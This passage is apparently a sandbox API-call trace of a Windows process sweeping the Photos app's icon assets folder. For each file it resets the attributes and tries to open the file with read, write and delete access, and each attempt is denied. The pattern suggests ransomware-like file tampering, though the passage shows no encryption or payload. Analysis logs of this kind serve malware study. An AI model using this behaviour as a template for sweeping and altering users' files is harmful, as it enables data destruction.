	[0091.033] FindNextFileW (in: hFindFile=0x477b0a8, lpFindFileData=0x502cbb0 | out: lpFindFileData=0x502cbb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86ef9df1, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x86ef9df1, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x86ef9df1, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x13b, dwReserved0=0x0, dwReserved1=0x0, cFileName="IconEditMoment.contrast-high_scale-125.png", cAlternateFileName="")) returned 1
	[0091.033] wcscmp (_String1="IconEditMoment.contrast-high_scale-125.png", _String2=".") returned 1
	[0091.033] wcscmp (_String1="IconEditMoment.contrast-high_scale-125.png", _String2="..") returned 1
	[0091.033] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x15e) returned 0x2e33c00
	[0091.033] wcscpy (in: _Dest=0x2e33c00, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-125_8wekyb3d8bbwe\\Lumia.ViewerPlugin\\Assets" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-125_8wekyb3d8bbwe\\Lumia.ViewerPlugin\\Assets") returned="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-125_8wekyb3d8bbwe\\Lumia.ViewerPlugin\\Assets"
	[0091.033] wcscat (in: _Dest=0x2e33c00, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-125_8wekyb3d8bbwe\\Lumia.ViewerPlugin\\Assets\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-125_8wekyb3d8bbwe\\Lumia.ViewerPlugin\\Assets\\"
	[0091.033] wcscat (in: _Dest=0x2e33c00, _Source="IconEditMoment.contrast-high_scale-125.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-125_8wekyb3d8bbwe\\Lumia.ViewerPlugin\\Assets\\IconEditMoment.contrast-high_scale-125.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-125_8wekyb3d8bbwe\\Lumia.ViewerPlugin\\Assets\\IconEditMoment.contrast-high_scale-125.png"
	[0091.034] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-125_8wekyb3d8bbwe\\Lumia.ViewerPlugin\\Assets\\IconEditMoment.contrast-high_scale-125.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windows.photos_16.511.8780.0_neutral_split.scale-125_8wekyb3d8bbwe\\lumia.viewerplugin\\assets\\iconeditmoment.contrast-high_scale-125.png")) returned 0x20
	[0091.039] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-125_8wekyb3d8bbwe\\Lumia.ViewerPlugin\\Assets\\IconEditMoment.contrast-high_scale-125.png", dwFileAttributes=0x20) returned 0
	[0091.039] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-125_8wekyb3d8bbwe\\Lumia.ViewerPlugin\\Assets\\IconEditMoment.contrast-high_scale-125.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windows.photos_16.511.8780.0_neutral_split.scale-125_8wekyb3d8bbwe\\lumia.viewerplugin\\assets\\iconeditmoment.contrast-high_scale-125.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0091.039] GetLastError () returned 0x5
	[0091.039] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-125_8wekyb3d8bbwe\\Lumia.ViewerPlugin\\Assets\\IconEditMoment.contrast-high_scale-125.png", dwFileAttributes=0x20) returned 0
	[0091.039] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33c00) returned 1
	[0091.039] FindNextFileW (in: hFindFile=0x477b0a8, lpFindFileData=0x502cbb0 | out: lpFindFileData=0x502cbb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86ef9df1, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x86ef9df1, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x86ef9df1, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x13e, dwReserved0=0x0, dwReserved1=0x0, cFileName="IconEditMoment.contrast-white_scale-125.png", cAlternateFileName="")) returned 1
	[0091.039] wcscmp (_String1="IconEditMoment.contrast-white_scale-125.png", _String2=".") returned 1
	[0091.039] wcscmp (_String1="IconEditMoment.contrast-white_scale-125.png", _String2="..") returned 1
	[0091.039] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x160) returned 0x2e337c8
	[0091.039] wcscpy (in: _Dest=0x2e337c8, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-125_8wekyb3d8bbwe\\Lumia.ViewerPlugin\\Assets" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-125_8wekyb3d8bbwe\\Lumia.ViewerPlugin\\Assets") returned="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-125_8wekyb3d8bbwe\\Lumia.ViewerPlugin\\Assets"
	[0091.040] wcscat (in: _Dest=0x2e337c8, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-125_8wekyb3d8bbwe\\Lumia.ViewerPlugin\\Assets\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-125_8wekyb3d8bbwe\\Lumia.ViewerPlugin\\Assets\\"
	[0091.040] wcscat (in: _Dest=0x2e337c8, _Source="IconEditMoment.contrast-white_scale-125.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-125_8wekyb3d8bbwe\\Lumia.ViewerPlugin\\Assets\\IconEditMoment.contrast-white_scale-125.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-125_8wekyb3d8bbwe\\Lumia.ViewerPlugin\\Assets\\IconEditMoment.contrast-white_scale-125.png"
	[0091.040] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-125_8wekyb3d8bbwe\\Lumia.ViewerPlugin\\Assets\\IconEditMoment.contrast-white_scale-125.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windows.photos_16.511.8780.0_neutral_split.scale-125_8wekyb3d8bbwe\\lumia.viewerplugin\\assets\\iconeditmoment.contrast-white_scale-125.png")) returned 0x20
	[0091.046] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-125_8wekyb3d8bbwe\\Lumia.ViewerPlugin\\Assets\\IconEditMoment.contrast-white_scale-125.png", dwFileAttributes=0x20) returned 0
	[0091.046] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-125_8wekyb3d8bbwe\\Lumia.ViewerPlugin\\Assets\\IconEditMoment.contrast-white_scale-125.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windows.photos_16.511.8780.0_neutral_split.scale-125_8wekyb3d8bbwe\\lumia.viewerplugin\\assets\\iconeditmoment.contrast-white_scale-125.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0091.046] GetLastError () returned 0x5
	[0091.046] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-125_8wekyb3d8bbwe\\Lumia.ViewerPlugin\\Assets\\IconEditMoment.contrast-white_scale-125.png", dwFileAttributes=0x20) returned 0
	[0091.046] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e337c8) returned 1
	[0091.046] FindNextFileW (in: hFindFile=0x477b0a8, lpFindFileData=0x502cbb0 | out: lpFindFileData=0x502cbb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86f3594f, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x86f3594f, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x86f3594f, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x13b, dwReserved0=0x0, dwReserved1=0x0, cFileName="IconEditMoment.scale-125.png", cAlternateFileName="")) returned 1
	[0091.046] wcscmp (_String1="IconEditMoment.scale-125.png", _String2=".") returned 1
	[0091.046] wcscmp (_String1="IconEditMoment.scale-125.png", _String2="..") returned 1
	[0091.046] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x142) returned 0x2d85ee8
	[0091.046] wcscpy (in: _Dest=0x2d85ee8, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-125_8wekyb3d8bbwe\\Lumia.ViewerPlugin\\Assets" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-125_8wekyb3d8bbwe\\Lumia.ViewerPlugin\\Assets") returned="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-125_8wekyb3d8bbwe\\Lumia.ViewerPlugin\\Assets"
	[0091.046] wcscat (in: _Dest=0x2d85ee8, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-125_8wekyb3d8bbwe\\Lumia.ViewerPlugin\\Assets\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-125_8wekyb3d8bbwe\\Lumia.ViewerPlugin\\Assets\\"
	[0091.046] wcscat (in: _Dest=0x2d85ee8, _Source="IconEditMoment.scale-125.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-125_8wekyb3d8bbwe\\Lumia.ViewerPlugin\\Assets\\IconEditMoment.scale-125.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-125_8wekyb3d8bbwe\\Lumia.ViewerPlugin\\Assets\\IconEditMoment.scale-125.png"
	[0091.047] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-125_8wekyb3d8bbwe\\Lumia.ViewerPlugin\\Assets\\IconEditMoment.scale-125.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windows.photos_16.511.8780.0_neutral_split.scale-125_8wekyb3d8bbwe\\lumia.viewerplugin\\assets\\iconeditmoment.scale-125.png")) returned 0x20
	[0091.047] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-125_8wekyb3d8bbwe\\Lumia.ViewerPlugin\\Assets\\IconEditMoment.scale-125.png", dwFileAttributes=0x20) returned 0
	[0091.047] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-125_8wekyb3d8bbwe\\Lumia.ViewerPlugin\\Assets\\IconEditMoment.scale-125.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windows.photos_16.511.8780.0_neutral_split.scale-125_8wekyb3d8bbwe\\lumia.viewerplugin\\assets\\iconeditmoment.scale-125.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0091.047] GetLastError () returned 0x5
	[0091.047] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-125_8wekyb3d8bbwe\\Lumia.ViewerPlugin\\Assets\\IconEditMoment.scale-125.png", dwFileAttributes=0x20) returned 0
	[0091.047] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d85ee8) returned 1
	[0091.047] FindNextFileW (in: hFindFile=0x477b0a8, lpFindFileData=0x502cbb0 | out: lpFindFileData=0x502cbb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86f3594f, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x86f3594f, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x86f3594f, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x157, dwReserved0=0x0, dwReserved1=0x0, cFileName="IconEditRichCapture.contrast-high_scale-125.png", cAlternateFileName="")) returned 1
	[0091.047] wcscmp (_String1="IconEditRichCapture.contrast-high_scale-125.png", _String2=".") returned 1
	[0091.047] wcscmp (_String1="IconEditRichCapture.contrast-high_scale-125.png", _String2="..") returned 1
	[0091.047] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x168) returned 0x2d85ee8
	[0091.047] wcscpy (in: _Dest=0x2d85ee8, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-125_8wekyb3d8bbwe\\Lumia.ViewerPlugin\\Assets" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-125_8wekyb3d8bbwe\\Lumia.ViewerPlugin\\Assets") returned="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-125_8wekyb3d8bbwe\\Lumia.ViewerPlugin\\Assets"
	[0091.047] wcscat (in: _Dest=0x2d85ee8, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-125_8wekyb3d8bbwe\\Lumia.ViewerPlugin\\Assets\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-125_8wekyb3d8bbwe\\Lumia.ViewerPlugin\\Assets\\"
	[0091.047] wcscat (in: _Dest=0x2d85ee8, _Source="IconEditRichCapture.contrast-high_scale-125.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-125_8wekyb3d8bbwe\\Lumia.ViewerPlugin\\Assets\\IconEditRichCapture.contrast-high_scale-125.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-125_8wekyb3d8bbwe\\Lumia.ViewerPlugin\\Assets\\IconEditRichCapture.contrast-high_scale-125.png"
	[0091.047] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-125_8wekyb3d8bbwe\\Lumia.ViewerPlugin\\Assets\\IconEditRichCapture.contrast-high_scale-125.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windows.photos_16.511.8780.0_neutral_split.scale-125_8wekyb3d8bbwe\\lumia.viewerplugin\\assets\\iconeditrichcapture.contrast-high_scale-125.png")) returned 0x20
	[0091.059] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-125_8wekyb3d8bbwe\\Lumia.ViewerPlugin\\Assets\\IconEditRichCapture.contrast-high_scale-125.png", dwFileAttributes=0x20) returned 0
	[0091.059] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-125_8wekyb3d8bbwe\\Lumia.ViewerPlugin\\Assets\\IconEditRichCapture.contrast-high_scale-125.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windows.photos_16.511.8780.0_neutral_split.scale-125_8wekyb3d8bbwe\\lumia.viewerplugin\\assets\\iconeditrichcapture.contrast-high_scale-125.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0091.059] GetLastError () returned 0x5
	[0091.059] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-125_8wekyb3d8bbwe\\Lumia.ViewerPlugin\\Assets\\IconEditRichCapture.contrast-high_scale-125.png", dwFileAttributes=0x20) returned 0
	[0091.059] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d85ee8) returned 1
	[0091.059] FindNextFileW (in: hFindFile=0x477b0a8, lpFindFileData=0x502cbb0 | out: lpFindFileData=0x502cbb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86f3594f, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x86f3594f, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x86f3594f, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x156, dwReserved0=0x0, dwReserved1=0x0, cFileName="IconEditRichCapture.contrast-white_scale-125.png", cAlternateFileName="")) returned 1
	[0091.060] wcscmp (_String1="IconEditRichCapture.contrast-white_scale-125.png", _String2=".") returned 1
	[0091.060] wcscmp (_String1="IconEditRichCapture.contrast-white_scale-125.png", _String2="..") returned 1
	[0091.060] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x16a) returned 0x2e020a8
	[0091.060] wcscpy (in: _Dest=0x2e020a8, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-125_8wekyb3d8bbwe\\Lumia.ViewerPlugin\\Assets" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-125_8wekyb3d8bbwe\\Lumia.ViewerPlugin\\Assets") returned="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-125_8wekyb3d8bbwe\\Lumia.ViewerPlugin\\Assets"
	[0091.060] wcscat (in: _Dest=0x2e020a8, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-125_8wekyb3d8bbwe\\Lumia.ViewerPlugin\\Assets\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-125_8wekyb3d8bbwe\\Lumia.ViewerPlugin\\Assets\\"
	[0091.060] wcscat (in: _Dest=0x2e020a8, _Source="IconEditRichCapture.contrast-white_scale-125.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-125_8wekyb3d8bbwe\\Lumia.ViewerPlugin\\Assets\\IconEditRichCapture.contrast-white_scale-125.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-125_8wekyb3d8bbwe\\Lumia.ViewerPlugin\\Assets\\IconEditRichCapture.contrast-white_scale-125.png"
	[0091.060] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-125_8wekyb3d8bbwe\\Lumia.ViewerPlugin\\Assets\\IconEditRichCapture.contrast-white_scale-125.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windows.photos_16.511.8780.0_neutral_split.scale-125_8wekyb3d8bbwe\\lumia.viewerplugin\\assets\\iconeditrichcapture.contrast-white_scale-125.png")) returned 0x20
	[0091.064] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-125_8wekyb3d8bbwe\\Lumia.ViewerPlugin\\Assets\\IconEditRichCapture.contrast-white_scale-125.png", dwFileAttributes=0x20) returned 0
	[0091.064] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-125_8wekyb3d8bbwe\\Lumia.ViewerPlugin\\Assets\\IconEditRichCapture.contrast-white_scale-125.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windows.photos_16.511.8780.0_neutral_split.scale-125_8wekyb3d8bbwe\\lumia.viewerplugin\\assets\\iconeditrichcapture.contrast-white_scale-125.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0091.065] GetLastError () returned 0x5
	[0091.065] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-125_8wekyb3d8bbwe\\Lumia.ViewerPlugin\\Assets\\IconEditRichCapture.contrast-white_scale-125.png", dwFileAttributes=0x20) returned 0
	[0091.065] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e020a8) returned 1
	[0091.065] FindNextFileW (in: hFindFile=0x477b0a8, lpFindFileData=0x502cbb0 | out: lpFindFileData=0x502cbb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86f3594f, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x86f3594f, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x86f3594f, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x157, dwReserved0=0x0, dwReserved1=0x0, cFileName="IconEditRichCapture.scale-125.png", cAlternateFileName="")) returned 1
	[0091.065] wcscmp (_String1="IconEditRichCapture.scale-125.png", _String2=".") returned 1
	[0091.065] wcscmp (_String1="IconEditRichCapture.scale-125.png", _String2="..") returned 1
	[0091.065] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x14c) returned 0x48bbcb0
	[0091.065] wcscpy (in: _Dest=0x48bbcb0, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-125_8wekyb3d8bbwe\\Lumia.ViewerPlugin\\Assets" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-125_8wekyb3d8bbwe\\Lumia.ViewerPlugin\\Assets") returned="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-125_8wekyb3d8bbwe\\Lumia.ViewerPlugin\\Assets"
	[0091.065] wcscat (in: _Dest=0x48bbcb0, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-125_8wekyb3d8bbwe\\Lumia.ViewerPlugin\\Assets\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-125_8wekyb3d8bbwe\\Lumia.ViewerPlugin\\Assets\\"
	[0091.065] wcscat (in: _Dest=0x48bbcb0, _Source="IconEditRichCapture.scale-125.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-125_8wekyb3d8bbwe\\Lumia.ViewerPlugin\\Assets\\IconEditRichCapture.scale-125.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-125_8wekyb3d8bbwe\\Lumia.ViewerPlugin\\Assets\\IconEditRichCapture.scale-125.png"
	[0091.065] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-125_8wekyb3d8bbwe\\Lumia.ViewerPlugin\\Assets\\IconEditRichCapture.scale-125.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windows.photos_16.511.8780.0_neutral_split.scale-125_8wekyb3d8bbwe\\lumia.viewerplugin\\assets\\iconeditrichcapture.scale-125.png")) returned 0x20
	[0091.069] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-125_8wekyb3d8bbwe\\Lumia.ViewerPlugin\\Assets\\IconEditRichCapture.scale-125.png", dwFileAttributes=0x20) returned 0
	[0091.069] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-125_8wekyb3d8bbwe\\Lumia.ViewerPlugin\\Assets\\IconEditRichCapture.scale-125.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windows.photos_16.511.8780.0_neutral_split.scale-125_8wekyb3d8bbwe\\lumia.viewerplugin\\assets\\iconeditrichcapture.scale-125.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0091.069] GetLastError () returned 0x5
	[0091.069] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-125_8wekyb3d8bbwe\\Lumia.ViewerPlugin\\Assets\\IconEditRichCapture.scale-125.png", dwFileAttributes=0x20) returned 0
	[0091.069] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x48bbcb0) returned 1
	[0091.069] FindNextFileW (in: hFindFile=0x477b0a8, lpFindFileData=0x502cbb0 | out: lpFindFileData=0x502cbb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86f3594f, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x86f3594f, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x86f3594f, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x15a, dwReserved0=0x0, dwReserved1=0x0, cFileName="IconOpenInCinemagraph.contrast-high_scale-125.png", cAlternateFileName="")) returned 1
	[0091.069] wcscmp (_String1="IconOpenInCinemagraph.contrast-high_scale-125.png", _String2=".") returned 1
	[0091.069] wcscmp (_String1="IconOpenInCinemagraph.contrast-high_scale-125.png", _String2="..") returned 1
	[0091.070] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x16c) returned 0x2e44fc0
	[0091.070] wcscpy (in: _Dest=0x2e44fc0, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-125_8wekyb3d8bbwe\\Lumia.ViewerPlugin\\Assets" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-125_8wekyb3d8bbwe\\Lumia.ViewerPlugin\\Assets") returned="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-125_8wekyb3d8bbwe\\Lumia.ViewerPlugin\\Assets"
	[0091.070] wcscat (in: _Dest=0x2e44fc0, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-125_8wekyb3d8bbwe\\Lumia.ViewerPlugin\\Assets\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-125_8wekyb3d8bbwe\\Lumia.ViewerPlugin\\Assets\\"
	[0091.070] wcscat (in: _Dest=0x2e44fc0, _Source="IconOpenInCinemagraph.contrast-high_scale-125.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-125_8wekyb3d8bbwe\\Lumia.ViewerPlugin\\Assets\\IconOpenInCinemagraph.contrast-high_scale-125.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-125_8wekyb3d8bbwe\\Lumia.ViewerPlugin\\Assets\\IconOpenInCinemagraph.contrast-high_scale-125.png"
	[0091.070] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-125_8wekyb3d8bbwe\\Lumia.ViewerPlugin\\Assets\\IconOpenInCinemagraph.contrast-high_scale-125.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windows.photos_16.511.8780.0_neutral_split.scale-125_8wekyb3d8bbwe\\lumia.viewerplugin\\assets\\iconopenincinemagraph.contrast-high_scale-125.png")) returned 0x20
